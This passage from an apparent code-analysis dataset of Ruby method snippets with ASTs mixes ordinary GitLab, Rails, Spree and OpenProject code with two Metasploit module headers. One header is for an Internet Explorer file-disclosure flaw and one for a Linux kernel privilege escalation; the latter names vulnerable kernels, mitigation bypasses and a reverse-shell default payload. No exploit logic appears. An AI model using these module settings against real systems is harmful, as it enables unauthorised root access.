end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionView\"]},\"Base\"]},\"remove_hidden_field_autocomplete\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"reverse_merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"autocomplete\"]},{\"type\":\"str\",\"children\":[\"off\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"c29cc9cc-2d6e-4c97-bc77-ce50ae482e73"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/job_retry.rb","start_line":256,"raw_source":"def send_to_morgue(msg)\n      logger.info { \"Adding dead #{msg[\"class\"]} job #{msg[\"jid\"]}\" }\n      payload = Sidekiq.dump_json(msg)\n      now = Time.now.to_f\n\n      redis do |conn|\n        conn.multi do |xa|\n          xa.zadd(\"dead\", now.to_s, payload)\n          xa.zremrangebyscore(\"dead\", \"-inf\", now - @capsule.config[:dead_timeout_in_seconds])\n          xa.zremrangebyrank(\"dead\", 0, - @capsule.config[:dead_max_jobs])\n        end\n      end\n    end","complexity_score":30.4,"ast_json":"{\"type\":\"def\",\"children\":[\"send_to_morgue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding dead \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"class\"]}]}]},{\"type\":\"str\",\"children\":[\" job \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"[]\",{\"type\":\"str\",\"children\":[\"jid\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"dump_json\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xa\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xa\"]},\"zadd\",{\"type\":\"str\",\"children\":[\"dead\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xa\"]},\"zremrangebyscore\",{\"type\":\"str\",\"children\":[\"dead\"]},{\"type\":\"str\",\"children\":[\"-inf\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"now\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@capsule\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dead_timeout_in_seconds\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xa\"]},\"zremrangebyrank\",{\"type\":\"str\",\"children\":[\"dead\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@capsule\"]},\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"dead_max_jobs\"]}]},\"-@\"]}]}]}]}]}]}]}","id":"6bfef59a-1c08-420b-ae96-5773067a3028"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ie_sandbox_findfiles.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',\n        'Description' => %q{\n          It was found that Internet Explorer allows the disclosure of local file names.\n          This issue exists due to the fact that Internet Explorer behaves different for\n          file:// URLs pointing to existing and non-existent files. When used in\n          combination with HTML5 sandbox iframes it is possible to use this behavior to\n          find out if a local file exists. This technique only works on Internet Explorer\n          10 & 11 since these support the HTML5 sandbox. Also it is not possible to do\n          this from a regular website as file:// URLs are blocked all together. The attack\n          must be performed locally (works with Internet zone Mark of the Web) or from a\n          share.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => 'Yorick Koster',\n        'References' => [\n          ['CVE', '2016-3321'],\n          ['MSB', 'MS16-095'],\n          ['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],\n        ],\n        'Platform' => 'win',\n        'DisclosureDate' => '2016-08-09',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('SHARENAME', [ true, \"The name of the top-level share.\", \"falcon\" ]),\n        OptString.new('PATHS', [ true, \"The list of files to check (comma separated).\", \"Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe\" ]),\n      ]\n    )\n\n    # no SSL\n    deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          It was found that Internet Explorer allows the disclosure of local file names.\\n\"]},{\"type\":\"str\",\"children\":[\"          This issue exists due to the fact that Internet Explorer behaves different for\\n\"]},{\"type\":\"str\",\"children\":[\"          file:// URLs pointing to existing and non-existent files. When used in\\n\"]},{\"type\":\"str\",\"children\":[\"          combination with HTML5 sandbox iframes it is possible to use this behavior to\\n\"]},{\"type\":\"str\",\"children\":[\"          find out if a local file exists. This technique only works on Internet Explorer\\n\"]},{\"type\":\"str\",\"children\":[\"          10 & 11 since these support the HTML5 sandbox. Also it is not possible to do\\n\"]},{\"type\":\"str\",\"children\":[\"          this from a regular website as file:// URLs are blocked all together. The attack\\n\"]},{\"type\":\"str\",\"children\":[\"          must be performed locally (works with Internet zone Mark of the Web) or from a\\n\"]},{\"type\":\"str\",\"children\":[\"          share.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Yorick Koster\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-3321\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MSB\"]},{\"type\":\"str\",\"children\":[\"MS16-095\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-08-09\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHARENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The name of the top-level share.\"]},{\"type\":\"str\",\"children\":[\"falcon\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATHS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The list of files to check (comma separated).\"]},{\"type\":\"str\",\"children\":[\"Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"str\",\"children\":[\"SSLVersion\"]},{\"type\":\"str\",\"children\":[\"SSLCert\"]},{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"str\",\"children\":[\"URIPATH\"]}]}]}]}","id":"0ab811e4-391a-4d6c-a173-add4c80ab966"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/issues/resolve_discussions.rb","start_line":12,"raw_source":"def filter_resolve_discussion_params\n      @merge_request_to_resolve_discussions_object ||= params.delete(:merge_request_to_resolve_discussions_object)\n      @merge_request_to_resolve_discussions_of_iid ||= params.delete(:merge_request_to_resolve_discussions_of)\n      @discussion_to_resolve_id ||= params.delete(:discussion_to_resolve)\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_resolve_discussion_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request_to_resolve_discussions_object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"merge_request_to_resolve_discussions_object\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request_to_resolve_discussions_of_iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"merge_request_to_resolve_discussions_of\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@discussion_to_resolve_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"discussion_to_resolve\"]}]}]}]}]}","id":"2712fd29-71d4-488f-a62f-4946d47e53f0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/projects/fork_details_resolver.rb","start_line":23,"raw_source":"def authorized_fork_source?\n        Ability.allowed?(current_user, :read_code, project.fork_source)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_fork_source?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"fork_source\"]}]}]}","id":"2e47efc9-45ac-4416-ab66-e03e2b66549d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/concerns/meetings/agenda_component_streams.rb","start_line":151,"raw_source":"def render_agenda_item_form_via_turbo_stream(collapsed:, current_occurrence:, meeting: @meeting,\n                                                   meeting_section: @meeting_section, type: :simple)\n        if meeting.sections.empty? && meeting_section != meeting.backlog\n          render_agenda_item_form_for_empty_meeting_via_turbo_stream(type:)\n        else\n          render_agenda_item_form_in_section_via_turbo_stream(meeting:, meeting_section:, type:, collapsed:, current_occurrence:)\n        end\n\n        update_new_button_via_turbo_stream(disabled: true) unless meeting_section == meeting.backlog\n      end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"render_agenda_item_form_via_turbo_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"collapsed\"]},{\"type\":\"kwarg\",\"children\":[\"current_occurrence\"]},{\"type\":\"kwoptarg\",\"children\":[\"meeting\",{\"type\":\"ivar\",\"children\":[\"@meeting\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"meeting_section\",{\"type\":\"ivar\",\"children\":[\"@meeting_section\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"type\",{\"type\":\"sym\",\"children\":[\"simple\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"sections\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting_section\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"backlog\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_agenda_item_form_for_empty_meeting_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render_agenda_item_form_in_section_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting\"]},{\"type\":\"lvar\",\"children\":[\"meeting\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meeting_section\"]},{\"type\":\"lvar\",\"children\":[\"meeting_section\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"collapsed\"]},{\"type\":\"lvar\",\"children\":[\"collapsed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_occurrence\"]},{\"type\":\"lvar\",\"children\":[\"current_occurrence\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting_section\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meeting\"]},\"backlog\"]}]},null,{\"type\":\"send\",\"children\":[null,\"update_new_button_via_turbo_stream\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disabled\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"88570106-ff22-4987-b2c2-69817e2f0dc1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/api/renderers_test.rb","start_line":45,"raw_source":"def test_render_plain\n    get :plain\n    assert_response :internal_server_error\n    assert_equal(\"Hi from plain\", @response.body)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_plain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"plain\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"internal_server_error\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hi from plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"03e577cd-9806-4b71-ad26-5339514f64c9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":331,"raw_source":"def test_no_limit_no_offset\n    queries = capture_sql { Account.count }\n    assert_equal 1, queries.length\n    assert_no_match(/LIMIT/, queries.first)\n    assert_no_match(/OFFSET/, queries.first)\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_limit_no_offset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queries\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_sql\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"LIMIT\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"OFFSET\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queries\"]},\"first\"]}]}]}]}","id":"d0c06b7d-4b34-432a-ace0-e3427da0b33f"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/variant.rb","start_line":405,"raw_source":"def set_stock(count_on_hand, backorderable = nil, stock_location = nil)\n      stock_location ||= Spree::Store.current.default_stock_location\n      stock_items.find_or_initialize_by(stock_location: stock_location) do |stock_item|\n        stock_item.count_on_hand = count_on_hand\n        stock_item.backorderable = backorderable if backorderable.present?\n        stock_item.save!\n      end\n    end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_stock\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count_on_hand\"]},{\"type\":\"optarg\",\"children\":[\"backorderable\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"stock_location\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stock_location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Store\"]},\"current\"]},\"default_stock_location\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stock_items\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stock_location\"]},{\"type\":\"lvar\",\"children\":[\"stock_location\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stock_item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stock_item\"]},\"count_on_hand=\",{\"type\":\"lvar\",\"children\":[\"count_on_hand\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backorderable\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stock_item\"]},\"backorderable=\",{\"type\":\"lvar\",\"children\":[\"backorderable\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stock_item\"]},\"save!\"]}]}]}]}]}","id":"5b96c81d-2d2f-4c69-ade6-2672bb93215d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/ufo_privilege_escalation.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation',\n        'Description' => %q{\n          This module attempts to gain root privileges on Linux systems by abusing\n          UDP Fragmentation Offload (UFO).\n\n          This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels\n          4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros\n          based on Ubuntu, such as Linux Mint.\n\n          The target system must have unprivileged user namespaces enabled\n          and SMAP disabled.\n\n          Bypasses for SMEP and KASLR are included. Failed exploitation\n          may crash the kernel.\n\n          This module has been tested successfully on various Ubuntu and Linux\n          Mint systems, including:\n\n          Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;\n          Ubuntu 16.04 4.8.0-53-generic;\n          Linux Mint 17.3 4.4.0-89-generic;\n          Linux Mint 18 4.8.0-58-generic\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Andrey Konovalov', # Discovery and C exploit\n          'h00die', # Metasploit module\n          'bcoles' # Metasploit module\n        ],\n        'DisclosureDate' => '2017-08-10',\n        'Platform' => [ 'linux' ],\n        'Arch' => [ ARCH_X64 ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Targets' => [[ 'Auto', {} ]],\n        'Privileged' => true,\n        'References' => [\n          [ 'CVE', '2017-1000112' ],\n          [ 'EDB', '43418' ],\n          [ 'BID', '100262' ],\n          [ 'URL', 'https://seclists.org/oss-sec/2017/q3/277' ],\n          [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ],\n          [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ],\n          [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ],\n          [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ],\n          [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ],\n          [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ]\n        ],\n        'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'Stability' => [ CRASH_OS_DOWN ],\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS,\n        },\n        'DefaultTarget' => 0\n      )\n    )\n    register_options [\n      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])\n    ]\n    register_advanced_options [\n      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n    ]\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to gain root privileges on Linux systems by abusing\\n\"]},{\"type\":\"str\",\"children\":[\"          UDP Fragmentation Offload (UFO).\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels\\n\"]},{\"type\":\"str\",\"children\":[\"          4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros\\n\"]},{\"type\":\"str\",\"children\":[\"          based on Ubuntu, such as Linux Mint.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The target system must have unprivileged user namespaces enabled\\n\"]},{\"type\":\"str\",\"children\":[\"          and SMAP disabled.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Bypasses for SMEP and KASLR are included. Failed exploitation\\n\"]},{\"type\":\"str\",\"children\":[\"          may crash the kernel.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on various Ubuntu and Linux\\n\"]},{\"type\":\"str\",\"children\":[\"          Mint systems, including:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop;\\n\"]},{\"type\":\"str\",\"children\":[\"          Ubuntu 16.04 4.8.0-53-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          Linux Mint 17.3 4.4.0-89-generic;\\n\"]},{\"type\":\"str\",\"children\":[\"          Linux Mint 18 4.8.0-58-generic\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Andrey Konovalov\"]},{\"type\":\"str\",\"children\":[\"h00die\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-08-10\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Auto\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-1000112\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"43418\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"100262\"]}]},{\"type\":\"array\",\